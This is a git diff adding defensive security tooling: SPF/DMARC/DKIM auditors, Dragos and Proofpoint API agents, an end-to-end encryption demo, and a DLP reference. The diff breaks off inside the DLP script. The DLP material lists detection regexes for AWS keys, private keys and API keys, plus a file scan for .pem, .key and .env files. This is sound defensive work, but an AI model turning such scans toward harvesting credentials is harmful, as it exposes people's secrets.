/dev/null +++ b/skills/implementing-dmarc-dkim-spf-email-security/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: Implementing DMARC/DKIM/SPF Email Security + +## dnspython Lookups + +```python +import dns.resolver +# SPF +answers = dns.resolver.resolve("example.com", "TXT") +# DMARC +answers = dns.resolver.resolve("_dmarc.example.com", "TXT") +# DKIM +answers = dns.resolver.resolve("selector._domainkey.example.com", "TXT") +``` + +## SPF Record Syntax + +| Mechanism | Example | Meaning | +|-----------|---------|---------| +| `include:` | `include:_spf.google.com` | Authorize sender | +| `ip4:` | `ip4:203.0.113.0/24` | Allow IP range | +| `-all` | End of record | Hard fail others | +| `~all` | End of record | Soft fail (weak) | +| `+all` | End of record | Allow all (insecure) | + +## DMARC Policy Levels + +| Policy | Action | Severity if Missing | +|--------|--------|---------------------| +| `p=reject` | Reject failing mail | Recommended | +| `p=quarantine` | Send to spam | Acceptable | +| `p=none` | Monitor only | HIGH risk | + +## Recommended DNS Records + +``` +# SPF +v=spf1 include:_spf.google.com -all + +# DMARC +v=DMARC1; p=reject; pct=100; rua=mailto:dmarc@example.com; adkim=s; aspf=s + +# DKIM (provider-specific key) +selector._domainkey.example.com TXT "v=DKIM1; k=rsa; p=MIIBIjAN..." +``` + +### References + +- SPF RFC 7208: https://www.rfc-editor.org/rfc/rfc7208 +- DMARC RFC 7489: https://www.rfc-editor.org/rfc/rfc7489 +- DKIM RFC 6376: https://www.rfc-editor.org/rfc/rfc6376 +- dnspython: https://dnspython.readthedocs.io/ diff --git a/skills/implementing-dmarc-dkim-spf-email-security/scripts/agent.py b/skills/implementing-dmarc-dkim-spf-email-security/scripts/agent.py new file mode 100644 index 00000000..9a94180f --- /dev/null +++ b/skills/implementing-dmarc-dkim-spf-email-security/scripts/agent.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python3 +"""Agent for implementing and auditing DMARC, DKIM, and SPF email security.""" + +import json +import argparse +import subprocess +import re +from datetime import datetime + +try: + import dns.resolver +except ImportError: + dns = None + + +def check_spf_record(domain): + """Check SPF record for a domain.""" + try: + answers = dns.resolver.resolve(domain, "TXT") + for rdata in answers: + txt = rdata.to_text().strip('"') + if txt.startswith("v=spf1"): + issues = [] + if "+all" in txt: + issues.append({"issue": "spf_plus_all", "severity": "CRITICAL"}) + if "~all" in txt: + issues.append({"issue": "spf_softfail", "severity": "MEDIUM"}) + lookups = txt.count("include:") + txt.count("a:") + txt.count("mx") + if lookups > 10: + issues.append({"issue": "spf_too_many_lookups", "count": lookups, "severity": "HIGH"}) + return {"domain": domain, "record": txt, "valid": True, "issues": issues} + return {"domain": domain, "record": None, "valid": False, + "issues": [{"issue": "no_spf_record", "severity": "HIGH"}]} + except Exception as e: + return {"domain": domain, "error": str(e)} + + +def check_dmarc_record(domain): + """Check DMARC record for a domain.""" + try: + answers = dns.resolver.resolve(f"_dmarc.{domain}", "TXT") + for rdata in answers: + txt = rdata.to_text().strip('"') + if txt.startswith("v=DMARC1"): + issues = [] + policy_match = re.search(r"p=(\w+)", txt) + policy = policy_match.group(1) if policy_match else "none" + if policy == "none": + issues.append({"issue": "dmarc_policy_none", "severity": "HIGH"}) + pct_match = re.search(r"pct=(\d+)", txt) + if pct_match and int(pct_match.group(1)) < 100: + issues.append({"issue": "dmarc_pct_not_100", "severity": "MEDIUM"}) + if "rua=" not in txt: + issues.append({"issue": "no_aggregate_reporting", "severity": "MEDIUM"}) + return {"domain": domain, "record": txt, "policy": policy, "issues": issues} + return {"domain": domain, "record": None, + "issues": [{"issue": "no_dmarc_record", "severity": "CRITICAL"}]} + except Exception as e: + return {"domain": domain, "error": str(e)} + + +def check_dkim_record(domain, selector="default"): + """Check DKIM record for a domain and selector.""" + try: + dkim_domain = f"{selector}._domainkey.{domain}" + answers = dns.resolver.resolve(dkim_domain, "TXT") + for rdata in answers: + txt = rdata.to_text().strip('"') + issues = [] + if "k=rsa" in txt: + p_match = re.search(r"p=([A-Za-z0-9+/=]+)", txt) + if p_match and len(p_match.group(1)) < 300: + issues.append({"issue": "weak_dkim_key", "severity": "HIGH"}) + return {"domain": domain, "selector": selector, "record": txt[:200], "issues": issues} + return {"domain": domain, "selector": selector, "record": None} + except Exception as e: + return {"domain": domain, "selector": selector, "error": str(e)} + + +def audit_domains(domain_list): + """Audit multiple domains for email security records.""" + results = [] + for domain in domain_list: + result = { + "domain": domain, + "spf": check_spf_record(domain), + "dmarc": check_dmarc_record(domain), + "dkim": check_dkim_record(domain), + } + all_issues = (result["spf"].get("issues", []) + result["dmarc"].get("issues", []) + + result["dkim"].get("issues", [])) + critical = sum(1 for i in all_issues if i.get("severity") == "CRITICAL") + result["risk_level"] = "CRITICAL" if critical > 0 else "HIGH" if len(all_issues) > 2 else "MEDIUM" + results.append(result) + return results + + +def generate_dns_records(domain, policy="reject"): + """Generate recommended SPF, DMARC, and DKIM DNS records.""" + return { + "spf": f'v=spf1 include:_spf.google.com include:spf.protection.outlook.com -all', + "dmarc": f'v=DMARC1; p={policy}; pct=100; rua=mailto:dmarc-reports@{domain}; ' + f'ruf=mailto:dmarc-forensics@{domain}; adkim=s; aspf=s', + "dkim_selector": "google._domainkey", + "notes": "DKIM key must be generated by your email provider", + } + + +def main(): + parser = argparse.ArgumentParser(description="DMARC/DKIM/SPF Email Security Agent") + parser.add_argument("--domains", nargs="+", help="Domains to audit") + parser.add_argument("--generate", help="Domain to generate records for") + parser.add_argument("--output", default="email_security_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.domains: + results = audit_domains(args.domains) + report["findings"]["domain_audit"] = results + for r in results: + print(f"[+] {r['domain']}: {r['risk_level']}") + + if args.generate: + records = generate_dns_records(args.generate) + report["findings"]["recommended_records"] = records + print(f"[+] Generated records for {args.generate}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-dragos-platform-for-ot-monitoring/LICENSE b/skills/implementing-dragos-platform-for-ot-monitoring/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-dragos-platform-for-ot-monitoring/LICENSE +++ b/skills/implementing-dragos-platform-for-ot-monitoring/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md b/skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md new file mode 100644 index 00000000..eadc4c63 --- /dev/null +++ b/skills/implementing-dragos-platform-for-ot-monitoring/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Implementing Dragos Platform for OT Monitoring + +## Dragos Platform API + +```python +import requests +headers = {"Authorization": "Bearer "} +base = "https://dragos-platform/api/v1" + +assets = requests.get(f"{base}/assets", headers=headers).json() +detections = requests.get(f"{base}/detections", headers=headers).json() +vulns = requests.get(f"{base}/vulnerabilities", headers=headers).json() +``` + +## Monitored OT Protocols + +| Protocol | Port | Use Case | +|----------|------|----------| +| Modbus/TCP | 502 | PLC communication | +| EtherNet/IP | 44818 | Industrial automation | +| DNP3 | 20000 | SCADA/utilities | +| OPC UA | 4840 | Industrial IoT | +| S7comm | 102 | Siemens PLCs | +| BACnet | 47808 | Building automation | +| IEC 61850 MMS | 102 | Power grid | + +## Detection Categories + +| Category | Description | Severity | +|----------|-------------|----------| +| New Asset | Unknown device on OT network | HIGH | +| Protocol Anomaly | Unusual command/response | HIGH | +| Firmware Change | PLC firmware modified | CRITICAL | +| Program Change | Ladder logic modified | CRITICAL | +| Unauthorized Access | IT device in OT zone | HIGH | + +## ICS-CERT Vulnerability Feeds + +```bash +# Dragos WorldView intelligence feed integration +curl "https://dragos-platform/api/v1/worldview/advisories" \ + -H "Authorization: Bearer $KEY" +``` + +### References + +- Dragos Platform: https://www.dragos.com/platform/ +- IEC 62443: https://www.isa.org/standards-and-publications/isa-standards/isa-iec-62443-series-of-standards +- CISA ICS Advisories: https://www.cisa.gov/news-events/ics-advisories diff --git a/skills/implementing-dragos-platform-for-ot-monitoring/scripts/agent.py b/skills/implementing-dragos-platform-for-ot-monitoring/scripts/agent.py new file mode 100644 index 00000000..b7a598ea --- /dev/null +++ b/skills/implementing-dragos-platform-for-ot-monitoring/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""Agent for implementing Dragos Platform OT network monitoring.""" + +import json +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +def query_dragos_api(base_url, api_key, endpoint): + """Query the Dragos Platform API.""" + headers = {"Authorization": f"Bearer {api_key}", "Accept": "application/json"} + resp = requests.get(f"{base_url}/api/v1/{endpoint}", headers=headers, timeout=30) + resp.raise_for_status() + return resp.json() + + +def get_asset_inventory(base_url, api_key): + """Retrieve OT asset inventory from Dragos.""" + data = query_dragos_api(base_url, api_key, "assets") + assets = data.get("data", data.get("assets", [])) + summary = {"total": len(assets), "by_type": {}, "by_zone": {}} + for asset in assets: + atype = asset.get("type", asset.get("asset_type", "unknown")) + zone = asset.get("zone", asset.get("network_zone", "unknown")) + summary["by_type"][atype] = summary["by_type"].get(atype, 0) + 1 + summary["by_zone"][zone] = summary["by_zone"].get(zone, 0) + 1 + return {"summary": summary, "assets": assets[:100]} + + +def get_threat_detections(base_url, api_key): + """Retrieve threat detections from Dragos.""" + data = query_dragos_api(base_url, api_key, "detections") + detections = data.get("data", data.get("detections", [])) + by_severity = {} + for det in detections: + sev = det.get("severity", "unknown") + by_severity[sev] = by_severity.get(sev, 0) + 1 + return {"total": len(detections), "by_severity": by_severity, "detections": detections[:50]} + + +def get_vulnerabilities(base_url, api_key): + """Retrieve OT vulnerabilities from Dragos.""" + data = query_dragos_api(base_url, api_key, "vulnerabilities") + vulns = data.get("data", data.get("vulnerabilities", [])) + critical = [v for v in vulns if v.get("severity", "").lower() == "critical"] + return {"total": len(vulns), "critical_count": len(critical), "critical": critical[:20]} + + +def analyze_ot_protocols(log_path): + """Analyze OT protocol traffic from exported logs.""" + protocol_counts = {} + anomalies = [] + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + proto = entry.get("protocol", entry.get("service", "")) + protocol_counts[proto] = protocol_counts.get(proto, 0) + 1 + if entry.get("anomaly") or entry.get("alert"): + anomalies.append({ + "timestamp": entry.get("timestamp", ""), + "protocol": proto, + "src": entry.get("src_ip", ""), + "dst": entry.get("dst_ip", ""), + "description": entry.get("description", entry.get("alert", "")), + }) + return {"protocols": protocol_counts, "anomalies": anomalies[:100]} + + +def generate_monitoring_config(): + """Generate OT monitoring configuration template.""" + return { + "monitored_protocols": [ + {"name": "Modbus/TCP", "port": 502, "monitoring": "deep_packet_inspection"}, + {"name": "EtherNet/IP", "port": 44818, "monitoring": "deep_packet_inspection"}, + {"name": "DNP3", "port": 20000, "monitoring": "deep_packet_inspection"}, + {"name": "OPC UA", "port": 4840, "monitoring": "deep_packet_inspection"}, + {"name": "IEC 61850 MMS", "port": 102, "monitoring": "protocol_aware"}, + {"name": "S7comm", "port": 102, "monitoring": "deep_packet_inspection"}, + {"name": "BACnet", "port": 47808, "monitoring": "protocol_aware"}, + ], + "alert_thresholds": { + "new_asset_detection": True, + "protocol_anomaly": True, + "unauthorized_protocol": True, + "firmware_change_detection": True, + "plc_program_change": True, + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="Dragos Platform OT Monitoring Agent") + parser.add_argument("--url", help="Dragos Platform base URL") + parser.add_argument("--api-key", help="Dragos API key") + parser.add_argument("--log", help="OT protocol log (JSON lines)") + parser.add_argument("--output", default="dragos_monitoring_report.json") + parser.add_argument("--action", choices=["assets", "threats", "vulns", "protocols", + "config", "full"], default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.url and args.api_key: + if args.action in ("assets", "full"): + r = get_asset_inventory(args.url, args.api_key) + report["findings"]["assets"] = r + print(f"[+] Assets: {r['summary']['total']}") + if args.action in ("threats", "full"): + r = get_threat_detections(args.url, args.api_key) + report["findings"]["detections"] = r + print(f"[+] Detections: {r['total']}") + if args.action in ("vulns", "full"): + r = get_vulnerabilities(args.url, args.api_key) + report["findings"]["vulnerabilities"] = r + print(f"[+] Vulnerabilities: {r['total']} ({r['critical_count']} critical)") + + if args.action in ("protocols", "full") and args.log: + r = analyze_ot_protocols(args.log) + report["findings"]["protocol_analysis"] = r + print(f"[+] Protocol anomalies: {len(r['anomalies'])}") + + if args.action in ("config", "full"): + config = generate_monitoring_config() + report["findings"]["monitoring_config"] = config + print("[+] Monitoring config generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-email-sandboxing-with-proofpoint/LICENSE b/skills/implementing-email-sandboxing-with-proofpoint/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-email-sandboxing-with-proofpoint/LICENSE +++ b/skills/implementing-email-sandboxing-with-proofpoint/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md b/skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md new file mode 100644 index 00000000..3fd80c2b --- /dev/null +++ b/skills/implementing-email-sandboxing-with-proofpoint/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Implementing Email Sandboxing with Proofpoint + +## Proofpoint TAP SIEM API + +```python +import requests +resp = requests.get( + "https://tap-api-v2.proofpoint.com/v2/siem/all", + auth=(principal, secret), + params={"sinceSeconds": 3600, "format": "json"}) +data = resp.json() +# Keys: messagesDelivered, messagesBlocked, clicksPermitted, clicksBlocked +``` + +## TAP API Endpoints + +| Endpoint | Description | +|----------|-------------| +| `/v2/siem/all` | All threat events | +| `/v2/siem/messages/blocked` | Blocked messages only | +| `/v2/siem/messages/delivered` | Delivered threats | +| `/v2/siem/clicks/blocked` | Blocked URL clicks | +| `/v2/siem/clicks/permitted` | Permitted URL clicks | + +## Threat Categories + +| Category | Description | Severity | +|----------|-------------|----------| +| Malware | Malicious attachment | CRITICAL | +| Phish | Credential harvesting | HIGH | +| Impostor | BEC/spoofing | HIGH | +| Spam | Unsolicited | LOW | + +## URL Defense Configuration + +```json +{ + "url_defense": { + "rewrite_all_urls": true, + "real_time_scanning": true, + "sandbox_detonation": true, + "click_time_protection": true + } +} +``` + +## Splunk Integration + +```spl +index=proofpoint sourcetype=tap:siem +| where classification="malicious" +| stats count by sender, threatType, subject +``` + +### References + +- Proofpoint TAP API: https://help.proofpoint.com/Threat_Insight_Dashboard/API_Documentation +- Proofpoint Email Protection: https://www.proofpoint.com/us/products/email-security-and-protection diff --git a/skills/implementing-email-sandboxing-with-proofpoint/scripts/agent.py b/skills/implementing-email-sandboxing-with-proofpoint/scripts/agent.py new file mode 100644 index 00000000..1b45d522 --- /dev/null +++ b/skills/implementing-email-sandboxing-with-proofpoint/scripts/agent.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Agent for implementing and monitoring Proofpoint email sandboxing.""" + +import json +import argparse +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +def get_tap_threats(base_url, principal, secret, time_range="PT1H"): + """Query Proofpoint TAP SIEM API for threats.""" + url = f"{base_url}/v2/siem/all" + resp = requests.get(url, auth=(principal, secret), + params={"sinceSeconds": 3600, "format": "json"}, timeout=60) + resp.raise_for_status() + data = resp.json() + return { + "messages_delivered": len(data.get("messagesDelivered", [])), + "messages_blocked": len(data.get("messagesBlocked", [])), + "clicks_permitted": len(data.get("clicksPermitted", [])), + "clicks_blocked": len(data.get("clicksBlocked", [])), + "threats": data.get("messagesBlocked", [])[:50], + } + + +def analyze_sandbox_results(results_path): + """Analyze Proofpoint sandbox detonation results.""" + with open(results_path) as f: + results = json.load(f) + findings = [] + for result in results if isinstance(results, list) else results.get("results", []): + verdict = result.get("verdict", result.get("classification", "")) + score = result.get("score", result.get("threat_score", 0)) + if verdict.lower() in ("malicious", "phish", "spam") or int(score) > 70: + findings.append({ + "message_id": result.get("message_id", ""), + "sender": result.get("sender", result.get("from", "")), + "subject": result.get("subject", ""), + "verdict": verdict, + "score": score, + "threats_found": result.get("threats", []), + "attachment": result.get("attachment_name", ""), + "url_detonated": result.get("url", ""), + "severity": "CRITICAL" if int(score) > 90 else "HIGH", + }) + return findings + + +def calculate_email_metrics(log_path): + """Calculate email security metrics from logs.""" + total = 0 + blocked = 0 + delivered = 0 + by_category = {} + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + total += 1 + action = entry.get("action", entry.get("policy_action", "")).lower() + if action in ("block", "quarantine", "reject"): + blocked += 1 + else: + delivered += 1 + cat = entry.get("category", entry.get("threat_type", "clean")) + by_category[cat] = by_category.get(cat, 0) + 1 + return { + "total_messages": total, "blocked": blocked, "delivered": delivered, + "block_rate": round(blocked / total * 100, 1) if total else 0, + "by_category": by_category, + } + + +def generate_url_defense_config(): + """Generate Proofpoint URL Defense configuration.""" + return { + "url_defense": { + "enabled": True, + "rewrite_all_urls": True, + "real_time_scanning": True, + "sandbox_detonation": True, + "click_time_protection": True, + }, + "attachment_defense": { + "enabled": True, + "sandbox_analysis": True, + "supported_types": ["exe", "dll", "doc", "docx", "xls", "xlsx", + "pdf", "zip", "rar", "iso", "lnk"], + "action_on_malicious": "quarantine", + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="Proofpoint Email Sandboxing Agent") + parser.add_argument("--tap-url", default="https://tap-api-v2.proofpoint.com") + parser.add_argument("--principal", help="TAP API principal") + parser.add_argument("--secret", help="TAP API secret") + parser.add_argument("--results", help="Sandbox results JSON") + parser.add_argument("--log", help="Email log (JSON lines)") + parser.add_argument("--output", default="proofpoint_sandbox_report.json") + parser.add_argument("--action", choices=["tap", "analyze", "metrics", "config", "full"], + default="full") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("tap", "full") and args.principal and args.secret: + data = get_tap_threats(args.tap_url, args.principal, args.secret) + report["findings"]["tap_threats"] = data + print(f"[+] Blocked: {data['messages_blocked']}, Delivered: {data['messages_delivered']}") + + if args.action in ("analyze", "full") and args.results: + findings = analyze_sandbox_results(args.results) + report["findings"]["sandbox_findings"] = findings + print(f"[+] Malicious sandbox results: {len(findings)}") + + if args.action in ("metrics", "full") and args.log: + metrics = calculate_email_metrics(args.log) + report["findings"]["email_metrics"] = metrics + print(f"[+] Block rate: {metrics['block_rate']}%") + + if args.action in ("config", "full"): + config = generate_url_defense_config() + report["findings"]["config"] = config + print("[+] URL/Attachment Defense config generated") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE b/skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE +++ b/skills/implementing-email-security-with-dmarc-dkim-spf/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-end-to-end-encryption-for-messaging/LICENSE b/skills/implementing-end-to-end-encryption-for-messaging/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-end-to-end-encryption-for-messaging/LICENSE +++ b/skills/implementing-end-to-end-encryption-for-messaging/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md b/skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md new file mode 100644 index 00000000..b437abaa --- /dev/null +++ b/skills/implementing-end-to-end-encryption-for-messaging/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference — Implementing End-to-End Encryption for Messaging + +## Libraries Used +- **cryptography**: X25519 key exchange, HKDF key derivation, AES-256-GCM encryption + +## CLI Interface + +``` +python agent.py keygen # Generate X25519 key pair +python agent.py exchange # Simulate key exchange +python agent.py demo # Full E2EE demo flow +python agent.py encrypt --message --key # Encrypt message +python agent.py decrypt --nonce --ciphertext --key +``` + +## Core Functions + +### `generate_keypair()` +Generates X25519 key pair for Diffie-Hellman key exchange. +- `X25519PrivateKey.generate()` -> private key +- `private_key.public_key()` -> public key +- Returns hex-encoded private and public keys. + +### `derive_shared_secret(my_private_hex, their_public_hex)` +Performs X25519 ECDH key exchange and derives symmetric key via HKDF-SHA256. +- `my_private.exchange(their_public)` -> 32-byte raw shared secret +- `HKDF(algorithm=SHA256(), length=32, info=b"e2ee-messaging-v1").derive(shared)` + +### `encrypt_message(message, shared_key_hex)` +Encrypts plaintext using AES-256-GCM with random 12-byte nonce. +- `AESGCM(key).encrypt(nonce, plaintext, None)` -> ciphertext with GCM tag + +### `decrypt_message(nonce_hex, ciphertext_hex, shared_key_hex)` +Decrypts and authenticates ciphertext. Raises `InvalidTag` if tampered. + +## Cryptography API Calls + +| Class | Module | Purpose | +|-------|--------|---------| +| `X25519PrivateKey` | `cryptography.hazmat.primitives.asymmetric.x25519` | ECDH private key | +| `X25519PublicKey` | same | ECDH public key | +| `AESGCM` | `cryptography.hazmat.primitives.ciphers.aead` | Authenticated encryption | +| `HKDF` | `cryptography.hazmat.primitives.kdf.hkdf` | Key derivation | + +## Dependencies +``` +pip install cryptography>=41.0 +``` diff --git a/skills/implementing-end-to-end-encryption-for-messaging/scripts/agent.py b/skills/implementing-end-to-end-encryption-for-messaging/scripts/agent.py new file mode 100644 index 00000000..b39ca033 --- /dev/null +++ b/skills/implementing-end-to-end-encryption-for-messaging/scripts/agent.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python3 +"""Agent for implementing end-to-end encryption (E2EE) for messaging using X25519 + AES-GCM.""" + +import json +import argparse +import os +from datetime import datetime + +try: + from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey + from cryptography.hazmat.primitives.ciphers.aead import AESGCM + from cryptography.hazmat.primitives.kdf.hkdf import HKDF + from cryptography.hazmat.primitives import hashes, serialization + HAS_CRYPTO = True +except ImportError: + HAS_CRYPTO = False + +NONCE_SIZE = 12 +KEY_SIZE = 32 +HKDF_INFO = b"e2ee-messaging-v1" + + +def generate_keypair(): + """Generate X25519 key pair for Diffie-Hellman key exchange.""" + private_key = X25519PrivateKey.generate() + public_key = private_key.public_key() + priv_bytes = private_key.private_bytes( + serialization.Encoding.Raw, serialization.PrivateFormat.Raw, serialization.NoEncryption() + ) + pub_bytes = public_key.public_bytes(serialization.Encoding.Raw, serialization.PublicFormat.Raw) + return { + "private_key_hex": priv_bytes.hex(), + "public_key_hex": pub_bytes.hex(), + "algorithm": "X25519", + } + + +def derive_shared_secret(my_private_hex, their_public_hex): + """Derive shared secret using X25519 ECDH + HKDF-SHA256.""" + my_private = X25519PrivateKey.from_private_bytes(bytes.fromhex(my_private_hex)) + their_public = X25519PublicKey.from_public_bytes(bytes.fromhex(their_public_hex)) + shared_key = my_private.exchange(their_public) + derived_key = HKDF( + algorithm=hashes.SHA256(), length=KEY_SIZE, salt=None, info=HKDF_INFO + ).derive(shared_key) + return derived_key + + +def encrypt_message(message, shared_key_hex): + """Encrypt a message using AES-256-GCM with a shared key.""" + key = bytes.fromhex(shared_key_hex) + nonce = os.urandom(NONCE_SIZE) + aesgcm = AESGCM(key) + ciphertext = aesgcm.encrypt(nonce, message.encode("utf-8"), None) + return { + "nonce_hex": nonce.hex(), + "ciphertext_hex": ciphertext.hex(), + "algorithm": "AES-256-GCM", + } + + +def decrypt_message(nonce_hex, ciphertext_hex, shared_key_hex): + """Decrypt a message using AES-256-GCM.""" + key = bytes.fromhex(shared_key_hex) + nonce = bytes.fromhex(nonce_hex) + ciphertext = bytes.fromhex(ciphertext_hex) + aesgcm = AESGCM(key) + plaintext = aesgcm.decrypt(nonce, ciphertext, None) + return {"plaintext": plaintext.decode("utf-8")} + + +def simulate_key_exchange(alice_name="Alice", bob_name="Bob"): + """Simulate a complete key exchange between two parties.""" + alice_kp = generate_keypair() + bob_kp = generate_keypair() + + alice_shared = derive_shared_secret(alice_kp["private_key_hex"], bob_kp["public_key_hex"]) + bob_shared = derive_shared_secret(bob_kp["private_key_hex"], alice_kp["public_key_hex"]) + + keys_match = alice_shared == bob_shared + return { + "alice_public_key": alice_kp["public_key_hex"], + "bob_public_key": bob_kp["public_key_hex"], + "shared_secret_match": keys_match, + "shared_key_hex": alice_shared.hex() if keys_match else None, + "key_exchange": "X25519 ECDH", + "kdf": "HKDF-SHA256", + "encryption": "AES-256-GCM", + } + + +def demo_full_flow(): + """Demonstrate complete E2EE message flow.""" + kx = simulate_key_exchange() + if not kx["shared_secret_match"]: + return {"error": "Key exchange failed"} + shared_key = kx["shared_key_hex"] + test_message = "Hello, this is an end-to-end encrypted message." + encrypted = encrypt_message(test_message, shared_key) + decrypted = decrypt_message(encrypted["nonce_hex"], encrypted["ciphertext_hex"], shared_key) + return { + "key_exchange": kx, + "original_message": test_message, + "encrypted": encrypted, + "decrypted": decrypted, + "integrity_check": decrypted["plaintext"] == test_message, + } + + +def main(): + if not HAS_CRYPTO: + print(json.dumps({"error": "cryptography library not installed"})) + return + parser = argparse.ArgumentParser(description="E2EE Messaging Agent (X25519 + AES-256-GCM)") + sub = parser.add_subparsers(dest="command") + sub.add_parser("keygen", help="Generate X25519 key pair") + sub.add_parser("exchange", help="Simulate key exchange") + sub.add_parser("demo", help="Full E2EE demo flow") + e = sub.add_parser("encrypt", help="Encrypt message") + e.add_argument("--message", required=True) + e.add_argument("--key", required=True, help="Shared key hex") + d = sub.add_parser("decrypt", help="Decrypt message") + d.add_argument("--nonce", required=True) + d.add_argument("--ciphertext", required=True) + d.add_argument("--key", required=True, help="Shared key hex") + args = parser.parse_args() + if args.command == "keygen": + result = generate_keypair() + elif args.command == "exchange": + result = simulate_key_exchange() + elif args.command == "demo": + result = demo_full_flow() + elif args.command == "encrypt": + result = encrypt_message(args.message, args.key) + elif args.command == "decrypt": + result = decrypt_message(args.nonce, args.ciphertext, args.key) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-endpoint-dlp-controls/LICENSE b/skills/implementing-endpoint-dlp-controls/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-endpoint-dlp-controls/LICENSE +++ b/skills/implementing-endpoint-dlp-controls/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-endpoint-dlp-controls/references/api-reference.md b/skills/implementing-endpoint-dlp-controls/references/api-reference.md new file mode 100644 index 00000000..51f0bb79 --- /dev/null +++ b/skills/implementing-endpoint-dlp-controls/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Implementing Endpoint DLP Controls + +## Sensitive Data Patterns + +| Pattern | Regex | Severity | +|---------|-------|----------| +| SSN | `\d{3}-\d{2}-\d{4}` | HIGH | +| Credit Card | `4[0-9]{12}(?:[0-9]{3})?` | HIGH | +| AWS Key | `AKIA[0-9A-Z]{16}` | CRITICAL | +| Private Key | `-----BEGIN.*PRIVATE KEY-----` | CRITICAL | +| API Key | `api[_-]?key\s*[:=]\s*[a-zA-Z0-9]{20,}` | HIGH | + +## DLP Channels + +| Channel | Monitoring Method | +|---------|-------------------| +| USB/Removable | Device event logs | +| Cloud Storage | URL/domain filtering | +| Email | Attachment scanning | +| Clipboard | Process monitoring | +| Print | Print spooler events | + +## Microsoft Purview DLP API + +```python +import requests +headers = {"Authorization": "Bearer "} +resp = requests.get( + "https://graph.microsoft.com/v1.0/security/alerts_v2", + headers=headers, + params={"$filter": "category eq 'DataLossPrevention'"}) +``` + +## CrowdStrike Falcon DLP + +```bash +curl -X GET "https://api.crowdstrike.com/dlp/entities/policies/v1" \ + -H "Authorization: Bearer $TOKEN" +``` + +## File Scanning + +```python +from pathlib import Path +import re +SENSITIVE_EXTS = {".pem", ".key", ".env", ".kdbx", ".pfx"} +for f in Path("/data").rglob("*"): + if f.suffix in SENSITIVE_EXTS or re.search(r"AKIA", f.read_text()): + print(f"ALERT: {f}") +``` + +### References + +- Microsoft Purview DLP: https://learn.microsoft.com/en-us/purview/dlp-learn-about-dlp +- CrowdStrike Falcon DLP: https://www.crowdstrike.com/platform/data-protection/ diff --git a/skills/implementing-endpoint-dlp-controls/scripts/agent.py b/skills/implementing-endpoint-dlp-controls/scripts/agent.py new file mode 100644 index 00000000..7f9f9ae0 --- /dev/null +++ b/skills/implementing-endpoint-dlp-controls/scripts/agent.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +"""Agent for implementing and monitoring endpoint DLP controls.""" + +import json +import argparse +import re +from datetime import datetime +from pathlib import Path +from collections import Counter, defaultdict + + +SENSITIVE_PATTERNS = { + "SSN": r"\b\d{3}-\d{2}-\d{4}\b", + "Credit Card": 